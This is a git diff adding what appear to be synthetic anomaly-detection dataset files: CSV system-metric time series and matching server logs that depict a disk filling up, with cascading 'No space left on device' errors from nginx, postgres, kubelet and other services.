[Errno 28] No space left on device +Aug 15 14:07:15 nginx[3101]: ERROR Failed to write to file /var/log/nginx.log: [Errno 28] No space left on device +Aug 15 14:07:20 data-processor[4512]: ERROR Failed to write to file /var/log/data-processor.log: [Errno 28] No space left on device +Aug 15 14:07:25 rsyslogd[1120]: ERROR Failed to write to file /var/log/rsyslogd.log: [Errno 28] No space left on device diff --git a/anom_dataset/scenario_3/anom_3_2.csv b/anom_dataset/scenario_3/anom_3_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..d889cd45060ef537dc4ce2f9ae38db352b9f1912 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,net_in,net_out,disk_io +2025-07-03T14:30:00Z,23.75,41.2,1.21,2.21,14.89 +2025-07-03T14:30:05Z,29.51,47.13,0.94,2.22,15.79 +2025-07-03T14:30:10Z,27.32,47.61,1.91,2.3,16.25 +2025-07-03T14:30:15Z,25.99,45.61,1.85,2.37,16.99 +2025-07-03T14:30:20Z,21.56,47.71,1.11,1.77,18.03 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+2025-07-03T14:37:05Z,23.25,41.74,1.69,1.96,100.0 +2025-07-03T14:37:10Z,27.3,46.91,1.64,1.04,100.0 +2025-07-03T14:37:15Z,26.38,43.87,1.64,1.88,100.0 +2025-07-03T14:37:20Z,28.87,49.37,1.23,2.41,99.88 +2025-07-03T14:37:25Z,24.72,41.38,1.15,1.86,99.58 diff --git a/anom_dataset/scenario_3/anom_3_2.log b/anom_dataset/scenario_3/anom_3_2.log new file mode 100644 index 0000000000000000000000000000000000000000..80ff43447d2fb24a5ccfde63c6df13fcf3310ae8 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_2.log @@ -0,0 +1,75 @@ +Jul 03 14:30:00 systemd[1]: Finished Daily apt download activities. +Jul 03 14:30:05 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 03 14:30:10 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 03 14:30:20 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 03 14:30:25 systemd[1]: Started Session 25 of user root. +Jul 03 14:30:30 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 03 14:30:35 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 03 14:30:45 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 03 14:30:50 systemd[1]: Finished Daily apt download activities. +Jul 03 14:30:55 systemd[1]: Started Session 54 of user root. +Jul 03 14:31:00 systemd[1]: Finished Daily apt download activities. +Jul 03 14:31:05 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 03 14:31:10 sshd[2667]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 03 14:31:15 sshd[5719]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 03 14:31:25 systemd[1]: Finished Daily apt download activities. +Jul 03 14:31:30 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 03 14:31:35 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 03 14:31:45 systemd[1]: Started Session 66 of user root. +Jul 03 14:31:55 systemd[1]: Started Session 65 of user root. +Jul 03 14:32:05 sshd[16512]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 03 14:32:20 systemd[1]: Finished Daily apt download activities. +Jul 03 14:32:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 03 14:32:30 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 03 14:32:35 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 03 14:32:45 systemd[1]: Started Session 1 of user root. +Jul 03 14:32:50 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 03 14:32:55 sshd[6544]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 03 14:33:00 sshd[16430]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 03 14:33:15 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 03 14:33:20 systemd[1]: Finished Daily apt download activities. +Jul 03 14:33:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 03 14:33:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 03 14:33:45 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 03 14:33:50 systemd[1]: Finished Daily apt download activities. +Jul 03 14:34:00 systemd[1]: Started Session 74 of user root. +Jul 03 14:34:05 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 03 14:34:10 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 03 14:34:15 systemd[1]: Finished Daily apt download activities. +Jul 03 14:34:20 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 03 14:34:25 systemd[1]: Started Session 67 of user root. +Jul 03 14:34:30 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 03 14:34:35 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 03 14:34:40 sshd[23508]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 03 14:34:45 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 03 14:34:55 app-server[12160]: WARN: Temporary file cache size reaching limit. +Jul 03 14:35:00 app-server[18282]: WARN: Temporary file cache size reaching limit. +Jul 03 14:35:05 data-importer[24574]: ERROR: Failed to write batch data to /var/data/import. Retrying... +Jul 03 14:35:10 app-server[24877]: WARN: Temporary file cache size reaching limit. +Jul 03 14:35:15 app-server[6432]: WARN: Temporary file cache size reaching limit. +Jul 03 14:35:20 data-importer[16178]: ERROR: Failed to write batch data to /var/data/import. Retrying... +Jul 03 14:35:25 postgres[2302]: WARNING: could not write to temporary file. This may indicate a disk space problem. +Jul 03 14:35:30 data-importer[10717]: ERROR: Failed to write batch data to /var/data/import. Retrying... +Jul 03 14:35:35 app-server[4125]: WARN: Temporary file cache size reaching limit. +Jul 03 14:35:40 data-importer[8809]: ERROR: Failed to write batch data to /var/data/import. Retrying... +Jul 03 14:35:45 data-importer[7126]: ERROR: Failed to write batch data to /var/data/import. Retrying... +Jul 03 14:35:50 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 03 14:35:55 data-importer[9673]: ERROR: Failed to write batch data to /var/data/import. Retrying... +Jul 03 14:36:00 data-importer[5086]: ERROR: Failed to write batch data to /var/data/import. Retrying... +Jul 03 14:36:05 data-importer[14772]: ERROR: Failed to write batch data to /var/data/import. Retrying... +Jul 03 14:36:10 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 03 14:36:15 nginx[18509]: [crit] 28253#0: *227563 open() "/var/log/nginx/access.log" failed (28: No space left on device) +Jul 03 14:36:20 app-server[13475]: ERROR: java.io.IOException: No space left on device +Jul 03 14:36:25 kernel: [ 1751553385.000000 ]blk_update_request: I/O error, dev sda, sector 126734 +Jul 03 14:36:30 syslogd[22590]: CRITICAL: write error on /dev/sda1: No space left on device +Jul 03 14:36:35 systemd[1]: Failed to start Application Service. +Jul 03 14:36:40 app-server[21123]: ERROR: java.io.IOException: No space left on device +Jul 03 14:36:45 syslogd[19260]: CRITICAL: write error on /dev/sda1: No space left on device +Jul 03 14:36:50 systemd[1]: Failed to start Application Service. +Jul 03 14:36:55 systemd[1]: Failed to start Application Service. +Jul 03 14:37:00 syslogd[12589]: CRITICAL: write error on /dev/sda1: No space left on device +Jul 03 14:37:05 nginx[15046]: [crit] 28253#0: *227563 open() "/var/log/nginx/access.log" failed (28: No space left on device) +Jul 03 14:37:10 nginx[1123]: GET /healthz HTTP/1.1 503 Service Unavailable +Jul 03 14:37:15 kernel: [ 1751553435.000000 ]blk_update_request: I/O error, dev sda, sector 784106 +Jul 03 14:37:20 systemd[1]: Failed to start Application Service. +Jul 03 14:37:25 syslogd[20935]: CRITICAL: write error on /dev/sda1: No space left on device diff --git a/anom_dataset/scenario_3/anom_3_20.csv b/anom_dataset/scenario_3/anom_3_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..b519eab57137f9a13c4a49d2cf305c8209d8007d --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,19.49,45.49,32.6,1.03,1.73 +2025-07-02T10:00:05Z,17.59,49.84,37.66,0.73,0.87 +2025-07-02T10:00:10Z,19.94,41.49,29.46,0.69,1.65 +2025-07-02T10:00:15Z,22.57,43.36,32.01,1.0,1.3 +2025-07-02T10:00:20Z,17.3,43.04,33.45,0.86,1.01 +2025-07-02T10:00:25Z,17.3,37.68,27.99,1.04,1.44 +2025-07-02T10:00:30Z,22.74,46.48,31.12,0.99,1.36 +2025-07-02T10:00:35Z,20.3,46.31,30.06,0.89,1.12 +2025-07-02T10:00:40Z,16.59,45.03,30.49,0.73,1.32 +2025-07-02T10:00:45Z,19.63,43.83,26.13,0.6,1.18 +2025-07-02T10:00:50Z,16.61,37.92,30.12,0.81,1.33 +2025-07-02T10:00:55Z,16.6,42.9,32.49,1.07,1.5 +2025-07-02T10:01:00Z,18.73,43.29,37.26,0.94,1.78 +2025-07-02T10:01:05Z,12.26,40.99,34.8,0.65,0.93 +2025-07-02T10:01:10Z,12.83,44.19,40.77,0.93,1.94 +2025-07-02T10:01:15Z,16.31,47.02,26.16,0.98,0.8 +2025-07-02T10:01:20Z,14.96,54.43,34.36,0.72,1.25 +2025-07-02T10:01:25Z,18.94,45.87,30.92,0.93,1.48 +2025-07-02T10:01:30Z,15.28,46.29,40.95,0.91,1.38 +2025-07-02T10:01:35Z,13.76,44.63,25.96,0.67,1.11 +2025-07-02T10:01:40Z,22.4,35.41,32.48,0.97,1.24 +2025-07-02T10:01:45Z,17.32,44.87,34.07,1.01,1.15 +2025-07-02T10:01:50Z,18.2,45.3,30.37,1.12,1.12 +2025-07-02T10:01:55Z,13.73,55.0,36.03,1.11,1.55 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+2025-07-02T10:07:00Z,15.57,46.38,86.74,0.85,1.29 +2025-07-02T10:07:05Z,16.49,49.14,86.74,0.65,1.0 +2025-07-02T10:07:10Z,20.75,45.07,90.05,1.23,1.29 +2025-07-02T10:07:15Z,18.99,52.27,93.37,0.61,1.21 +2025-07-02T10:07:20Z,16.41,43.68,96.68,0.81,1.4 +2025-07-02T10:07:25Z,19.54,55.0,100.0,0.93,1.05 diff --git a/anom_dataset/scenario_3/anom_3_20.log b/anom_dataset/scenario_3/anom_3_20.log new file mode 100644 index 0000000000000000000000000000000000000000..34fd5bf19c5f0965ce7541ebcd7340baf96b4005 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_20.log @@ -0,0 +1,63 @@ +Jul 02 10:00:01 cron[1140]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:00:01 systemd[1]: Started Session 0 of user ubuntu. +Jul 02 10:00:56 cron[11411]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:01:17 systemd[1]: Started Session 15 of user ubuntu. +Jul 02 10:01:52 cron[11422]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:02:07 sshd[10225]: Accepted publickey for user from 10.0.2.2 port 51234 +Jul 02 10:02:31 systemd[1]: Started Session 30 of user ubuntu. +Jul 02 10:02:47 cron[11433]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:03:41 cron[11444]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:03:47 systemd[1]: Started Session 45 of user ubuntu. +Jul 02 10:04:11 sshd[10250]: Accepted publickey for user from 10.0.2.2 port 51234 +Jul 02 10:04:36 cron[11455]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:04:42 app-writer[9876]: ERROR: write failed, retrying: No space left on device +Jul 02 10:04:53 nginx[3441]: ERROR: write failed, retrying: No space left on device +Jul 02 10:05:02 nginx[3441]: ERROR: write failed, retrying: No space left on device +Jul 02 10:05:02 systemd[1]: Started Session 60 of user ubuntu. +Jul 02 10:05:08 postgresql[5132]: ERROR: write failed, retrying: No space left on device +Jul 02 10:05:12 postgresql[5132]: ERROR: write failed, retrying: No space left on device +Jul 02 10:05:18 postgresql[5132]: ERROR: write failed, retrying: No space left on device +Jul 02 10:05:22 postgresql[5132]: ERROR: write failed, retrying: No space left on device +Jul 02 10:05:28 rsyslogd[1112]: ERROR: write failed, retrying: No space left on device +Jul 02 10:05:32 cron[11466]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:05:33 rsyslogd[1112]: ERROR: write failed, retrying: No space left on device +Jul 02 10:05:37 app-writer[9876]: ERROR: write failed, retrying: No space left on device +Jul 02 10:05:42 postgresql[5132]: ERROR: write failed, retrying: No space left on device +Jul 02 10:05:48 app-writer[9876]: ERROR: write failed, retrying: No space left on device +Jul 02 10:05:52 app-writer[9876]: ERROR: write failed, retrying: No space left on device +Jul 02 10:05:57 rsyslogd[1112]: ERROR: write failed, retrying: No space left on device +Jul 02 10:06:02 app-writer[9876]: ERROR: write failed, retrying: No space left on device +Jul 02 10:06:07 rsyslogd[1112]: ERROR: write failed, retrying: No space left on device +Jul 02 10:06:12 app-writer[9876]: ERROR: write failed, retrying: No space left on device +Jul 02 10:06:17 kernel: CRITICAL: Failed to write to /var/log/syslog. partition full? No space left on device +Jul 02 10:06:17 systemd[1]: CRITICAL: Failed to write to /var/log/syslog. partition full? No space left on device +Jul 02 10:06:18 nginx[3441]: ERROR: write failed, retrying: No space left on device +Jul 02 10:06:18 systemd[1]: CRITICAL: Failed to write to /var/log/syslog. partition full? No space left on device +Jul 02 10:06:22 app-writer[9876]: ERROR: write failed, retrying: No space left on device +Jul 02 10:06:23 app-writer[9876]: CRITICAL: Failed to write to /var/log/syslog. partition full? No space left on device +Jul 02 10:06:23 app-writer[9876]: CRITICAL: Failed to write to /var/log/syslog. partition full? No space left on device +Jul 02 10:06:26 systemd[1]: CRITICAL: Failed to write to /var/log/syslog. partition full? No space left on device +Jul 02 10:06:27 systemd[1]: CRITICAL: Failed to write to /var/log/syslog. partition full? No space left on device +Jul 02 10:06:28 rsyslogd[1112]: ERROR: write failed, retrying: No space left on device +Jul 02 10:06:31 app-writer[9876]: CRITICAL: Failed to write to /var/log/syslog. partition full? No space left on device +Jul 02 10:06:31 logrotate[8888]: CRITICAL: Failed to write to /var/log/syslog. partition full? No space left on device +Jul 02 10:06:32 rsyslogd[1112]: ERROR: write failed, retrying: No space left on device +Jul 02 10:06:36 app-writer[9876]: CRITICAL: Failed to write to /var/log/syslog. partition full? No space left on device +Jul 02 10:06:37 systemd[1]: CRITICAL: Failed to write to /var/log/syslog. partition full? No space left on device +Jul 02 10:06:38 rsyslogd[1112]: ERROR: write failed, retrying: No space left on device +Jul 02 10:06:43 app-writer[9876]: ERROR: write failed, retrying: No space left on device +Jul 02 10:06:47 postgresql[5132]: ERROR: write failed, retrying: No space left on device +Jul 02 10:06:52 app-writer[9876]: ERROR: write failed, retrying: No space left on device +Jul 02 10:06:57 app-writer[9876]: ERROR: write failed, retrying: No space left on device +Jul 02 10:07:03 rsyslogd[1112]: ERROR: write failed, retrying: No space left on device +Jul 02 10:07:07 postgresql[5132]: ERROR: write failed, retrying: No space left on device +Jul 02 10:07:13 rsyslogd[1112]: ERROR: write failed, retrying: No space left on device +Jul 02 10:07:18 rsyslogd[1112]: ERROR: write failed, retrying: No space left on device +Jul 02 10:07:21 logrotate[8888]: CRITICAL: Failed to write to /var/log/syslog. partition full? No space left on device +Jul 02 10:07:23 nginx[3441]: ERROR: write failed, retrying: No space left on device +Jul 02 10:07:23 systemd[1]: CRITICAL: Failed to write to /var/log/syslog. partition full? No space left on device +Jul 02 10:07:27 app-writer[9876]: CRITICAL: Failed to write to /var/log/syslog. partition full? No space left on device +Jul 02 10:07:27 logrotate[8888]: CRITICAL: Failed to write to /var/log/syslog. partition full? No space left on device +Jul 02 10:07:27 postgresql[5132]: ERROR: write failed, retrying: No space left on device +Jul 02 10:07:28 kernel: CRITICAL: Failed to write to /var/log/syslog. partition full? No space left on device +Jul 02 10:07:28 systemd[1]: Failed to start Application Service. See 'systemctl status app.service' for details. diff --git a/anom_dataset/scenario_3/anom_3_21.csv b/anom_dataset/scenario_3/anom_3_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..1c03bdb1c715d9dc4ef4f508f486be40c312bafd --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,20.99,40.29,25.78,1.03,1.63 +2025-07-02T11:00:05Z,19.72,42.91,28.14,0.73,0.77 +2025-07-02T11:00:10Z,21.3,37.89,26.52,0.69,1.55 +2025-07-02T11:00:15Z,23.05,39.02,28.13,1.0,1.2 +2025-07-02T11:00:20Z,19.53,38.82,29.41,0.86,0.91 +2025-07-02T11:00:25Z,19.53,35.61,28.61,1.04,1.34 +2025-07-02T11:00:30Z,23.16,40.89,30.39,0.99,1.26 +2025-07-02T11:00:35Z,21.53,40.78,30.92,0.89,1.02 +2025-07-02T11:00:40Z,19.06,40.02,31.89,0.73,1.22 +2025-07-02T11:00:45Z,21.09,39.3,31.42,0.6,1.08 +2025-07-02T11:00:50Z,19.07,35.75,33.46,0.81,1.23 +2025-07-02T11:00:55Z,19.07,38.74,35.02,1.07,1.4 +2025-07-02T11:01:00Z,20.48,38.97,37.29,0.94,1.68 +2025-07-02T11:01:05Z,16.17,37.59,37.39,0.65,0.83 +2025-07-02T11:01:10Z,16.55,39.52,40.03,0.93,1.84 +2025-07-02T11:01:15Z,18.88,41.21,36.49,0.98,0.61 +2025-07-02T11:01:20Z,17.97,45.66,39.79,0.72,1.15 +2025-07-02T11:01:25Z,20.63,40.52,39.6,0.93,1.38 +2025-07-02T11:01:30Z,18.18,40.77,43.45,0.91,1.28 +2025-07-02T11:01:35Z,17.18,39.78,39.8,0.67,1.01 +2025-07-02T11:01:40Z,22.93,34.24,40.59,0.97,1.14 +2025-07-02T11:01:45Z,19.55,39.92,41.8,1.01,1.05 +2025-07-02T11:01:50Z,20.14,40.18,40.35,1.12,1.02 +2025-07-02T11:01:55Z,17.15,47.39,43.59,1.11,1.45 +2025-07-02T11:02:00Z,18.91,39.42,44.09,0.62,1.31 +2025-07-02T11:02:05Z,20.22,40.9,46.29,0.71,0.99 +2025-07-02T11:02:10Z,17.7,39.9,47.42,1.0,1.47 +2025-07-02T11:02:15Z,20.75,36.49,50.57,1.0,1.29 +2025-07-02T11:02:20Z,18.8,43.43,50.02,1.0,1.44 +2025-07-02T11:02:25Z,19.42,42.26,48.57,1.67,1.39 +2025-07-02T11:02:30Z,18.8,42.37,48.93,1.01,0.95 +2025-07-02T11:02:35Z,23.7,37.27,51.86,1.13,1.03 +2025-07-02T11:02:40Z,19.97,44.21,49.99,1.09,1.42 +2025-07-02T11:02:45Z,17.88,35.79,55.56,1.03,1.38 +2025-07-02T11:02:50Z,21.65,41.76,55.42,0.84,1.19 +2025-07-02T11:02:55Z,17.56,46.57,53.79,1.05,1.24 +2025-07-02T11:03:00Z,20.42,37.03,52.77,0.75,1.58 +2025-07-02T11:03:05Z,16.08,38.3,58.21,0.85,1.02 +2025-07-02T11:03:10Z,17.34,40.3,56.85,0.8,1.36 +2025-07-02T11:03:15Z,20.39,38.49,59.72,0.92,1.14 +2025-07-02T11:03:20Z,21.48,35.35,56.32,1.36,1.13 +2025-07-02T11:03:25Z,20.34,40.21,58.65,0.53,1.53 +2025-07-02T11:03:30Z,19.77,36.81,60.4,1.04,1.45 +2025-07-02T11:03:35Z,19.4,41.42,61.31,0.58,1.44 +2025-07-02T11:03:40Z,17.04,37.24,61.4,0.81,1.59 +2025-07-02T11:03:45Z,18.56,44.65,63.86,1.12,1.21 +2025-07-02T11:03:50Z,19.08,37.65,62.16,0.91,1.4 +2025-07-02T11:03:55Z,22.11,39.03,64.39,0.68,1.11 +2025-07-02T11:04:00Z,20.69,42.44,65.63,0.76,1.3 +2025-07-02T11:04:05Z,16.47,36.31,67.06,1.04,1.16 +2025-07-02T11:04:10Z,20.65,40.68,68.2,0.75,1.23 +2025-07-02T11:04:15Z,19.23,43.92,66.29,0.94,1.38 +2025-07-02T11:04:20Z,18.65,35.18,66.52,0.91,0.95 +2025-07-02T11:04:25Z,21.22,40.55,71.58,0.77,1.83 +2025-07-02T11:04:30Z,22.06,40.78,71.0,1.33,0.9 +2025-07-02T11:04:35Z,21.86,42.35,70.23,1.03,0.84 +2025-07-02T11:04:40Z,18.32,36.29,74.52,0.49,1.55 +2025-07-02T11:04:45Z,19.38,36.04,73.21,0.94,1.44 +2025-07-02T11:04:50Z,20.66,41.57,75.65,0.77,1.39 +2025-07-02T11:04:55Z,21.95,40.89,74.82,1.07,1.39 +2025-07-02T11:05:00Z,19.04,40.75,78.65,0.74,1.2 +2025-07-02T11:05:05Z,19.63,41.04,79.04,0.88,0.93 +2025-07-02T11:05:10Z,17.79,37.96,76.87,1.0,1.22 +2025-07-02T11:05:15Z,17.61,40.7,79.55,1.07,1.0 +2025-07-02T11:05:20Z,21.63,40.88,79.9,0.66,1.49 +2025-07-02T11:05:25Z,22.71,37.86,81.83,0.83,1.16 +2025-07-02T11:05:30Z,19.86,45.6,79.17,0.81,0.95 +2025-07-02T11:05:35Z,22.01,41.42,82.49,0.77,1.1 +2025-07-02T11:05:40Z,20.72,36.43,97.86,1.25,1.32 +2025-07-02T11:05:45Z,18.71,41.97,90.25,0.98,1.03 +2025-07-02T11:05:50Z,20.72,37.08,93.89,0.65,0.95 +2025-07-02T11:05:55Z,23.08,42.36,88.5,1.08,1.27 +2025-07-02T11:06:00Z,19.93,43.48,92.19,1.32,1.27 +2025-07-02T11:06:05Z,23.13,37.54,93.0,1.11,1.05 +2025-07-02T11:06:10Z,14.76,42.89,96.3,0.6,1.06 +2025-07-02T11:06:15Z,21.64,41.24,88.31,0.8,1.27 +2025-07-02T11:06:20Z,20.17,42.47,91.49,1.15,0.77 +2025-07-02T11:06:25Z,19.4,45.69,87.82,0.76,0.78 +2025-07-02T11:06:30Z,20.18,39.26,88.18,0.99,0.98 +2025-07-02T11:06:35Z,16.02,37.74,91.49,1.05,1.14 +2025-07-02T11:06:40Z,19.56,37.33,92.99,0.71,1.29 +2025-07-02T11:06:45Z,20.71,37.55,93.21,0.89,1.64 +2025-07-02T11:06:50Z,22.96,39.77,91.0,0.25,1.46 +2025-07-02T11:06:55Z,18.96,41.02,94.81,0.7,1.15 +2025-07-02T11:07:00Z,18.38,40.83,93.83,0.85,1.19 +2025-07-02T11:07:05Z,19.0,42.48,98.0,0.65,0.9 +2025-07-02T11:07:10Z,21.83,40.04,98.02,1.23,1.19 +2025-07-02T11:07:15Z,20.66,44.36,98.0,0.61,1.11 +2025-07-02T11:07:20Z,18.94,39.21,98.39,0.81,1.3 +2025-07-02T11:07:25Z,21.03,48.16,100.0,0.93,0.95 diff --git a/anom_dataset/scenario_3/anom_3_21.log b/anom_dataset/scenario_3/anom_3_21.log new file mode 100644 index 0000000000000000000000000000000000000000..7a10dd904178a590e6ac61593534820c64169d62 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_21.log @@ -0,0 +1,52 @@ +Jul 02 11:00:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:00:05 systemd[1]: Started Session 19 of user ubuntu. +Jul 02 11:00:10 sshd[10079]: Accepted publickey for ubuntu from 192.168.1.105 port 56937 ssh2 +Jul 02 11:00:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:00:45 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 11:00:50 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:01:05 sshd[10190]: Accepted publickey for ubuntu from 192.168.1.105 port 51906 ssh2 +Jul 02 11:01:10 systemd[1]: Started Session 19 of user ubuntu. +Jul 02 11:01:20 sshd[10271]: Accepted publickey for ubuntu from 192.168.1.105 port 56288 ssh2 +Jul 02 11:02:35 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:02:45 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:03:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:03:05 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:03:15 sshd[10404]: Accepted publickey for ubuntu from 192.168.1.105 port 55966 ssh2 +Jul 02 11:03:25 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 02 11:03:50 sshd[10446]: Accepted publickey for ubuntu from 192.168.1.105 port 58915 ssh2 +Jul 02 11:04:00 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:04:10 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 11:04:30 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 02 11:04:30 postgres[5432]: ERROR: could not extend file "base/16384/16390": No space left on device +Jul 02 11:04:35 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:04:45 nginx[1123]: [crit] 1123#0: *13264 open() "/var/log/nginx/access.log" failed (28: No space left on device) +Jul 02 11:04:50 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:04:55 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:04:55 app-server[8888]: ERROR: Failed to save session to disk: [Errno 28] No space left on device +Jul 02 11:05:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:05:00 systemd-journald[456]: Failed to write entry, ignoring: No space left on device +Jul 02 11:05:25 systemd-journald[456]: Failed to write entry, ignoring: No space left on device +Jul 02 11:05:30 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 02 11:05:35 kubelet[2345]: ERROR Failed to garbage collect disk space: No space left on device +Jul 02 11:05:40 app-server[8888]: ERROR: Failed to save session to disk: [Errno 28] No space left on device +Jul 02 11:05:50 nginx[1123]: [crit] 1123#0: *13264 open() "/var/log/nginx/access.log" failed (28: No space left on device) +Jul 02 11:05:55 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 11:06:05 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 11:06:05 app-worker[8890]: CRITICAL: Cannot write to pidfile /var/run/app.pid: No space left on device +Jul 02 11:06:10 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 11:06:10 kubelet[2345]: ERROR Failed to garbage collect disk space: No space left on device +Jul 02 11:06:15 kubelet[2345]: ERROR Failed to garbage collect disk space: No space left on device +Jul 02 11:06:20 app-server[8888]: ERROR: Failed to save session to disk: [Errno 28] No space left on device +Jul 02 11:06:25 nginx[1123]: [crit] 1123#0: *13264 open() "/var/log/nginx/access.log" failed (28: No space left on device) +Jul 02 11:06:30 systemd-journald[456]: Failed to write entry, ignoring: No space left on device +Jul 02 11:06:35 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 02 11:06:35 systemd-journald[456]: Failed to write entry, ignoring: No space left on device +Jul 02 11:06:40 app-server[8888]: ERROR: Failed to save session to disk: [Errno 28] No space left on device +Jul 02 11:06:50 app-server[8888]: ERROR: Failed to save session to disk: [Errno 28] No space left on device +Jul 02 11:06:55 app-server[8888]: ERROR: Failed to save session to disk: [Errno 28] No space left on device +Jul 02 11:07:05 app-worker[8890]: CRITICAL: Cannot write to pidfile /var/run/app.pid: No space left on device +Jul 02 11:07:10 systemd[1]: Started Session 13 of user ubuntu. +Jul 02 11:07:10 postgres[5432]: ERROR: could not extend file "base/16384/16390": No space left on device +Jul 02 11:07:15 nginx[1123]: [crit] 1123#0: *13264 open() "/var/log/nginx/access.log" failed (28: No space left on device) +Jul 02 11:07:20 systemd-journald[456]: Failed to write entry, ignoring: No space left on device +Jul 02 11:07:25 kubelet[2345]: ERROR Failed to garbage collect disk space: No space left on device diff --git a/anom_dataset/scenario_3/anom_3_22.csv b/anom_dataset/scenario_3/anom_3_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..d57d746a6b1effad126d135905f9c629aa3911a7 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_usage_percent,disk_io,net_in,net_out +2025-08-15T14:30:00Z,26.57,43.38,39.58,33.22,1.04,0.91 +2025-08-15T14:30:05Z,29.12,42.92,41.72,26.93,0.74,1.12 +2025-08-15T14:30:10Z,26.8,49.98,42.01,31.3,0.55,0.7 +2025-08-15T14:30:15Z,25.84,47.66,42.37,28.85,1.02,1.21 +2025-08-15T14:30:20Z,24.99,44.18,42.91,35.1,0.98,0.59 +2025-08-15T14:30:25Z,33.36,47.33,44.48,32.79,0.81,1.48 +2025-08-15T14:30:30Z,26.11,38.56,45.17,27.64,0.58,1.23 +2025-08-15T14:30:35Z,23.14,42.79,46.11,29.55,0.47,1.3 +2025-08-15T14:30:40Z,18.89,44.71,46.32,35.16,0.72,1.29 +2025-08-15T14:30:45Z,22.42,38.69,47.75,37.87,0.59,1.59 +2025-08-15T14:30:50Z,27.94,42.24,47.54,24.5,0.7,1.18 +2025-08-15T14:30:55Z,24.79,36.06,49.47,30.37,0.67,0.66 +2025-08-15T14:31:00Z,20.99,48.32,50.46,24.94,1.0,1.0 +2025-08-15T14:31:05Z,24.52,43.93,51.91,14.62,0.95,0.62 +2025-08-15T14:31:10Z,24.0,40.43,51.98,30.25,0.69,1.23 +2025-08-15T14:31:15Z,30.61,40.11,52.58,36.87,0.88,1.67 +2025-08-15T14:31:20Z,24.14,48.01,54.12,20.69,0.95,1.1 +2025-08-15T14:31:25Z,29.02,48.4,55.19,31.06,0.5,1.31 +2025-08-15T14:31:30Z,27.3,40.65,56.29,36.65,0.71,1.04 +2025-08-15T14:31:35Z,27.3,45.29,56.19,28.11,0.78,1.44 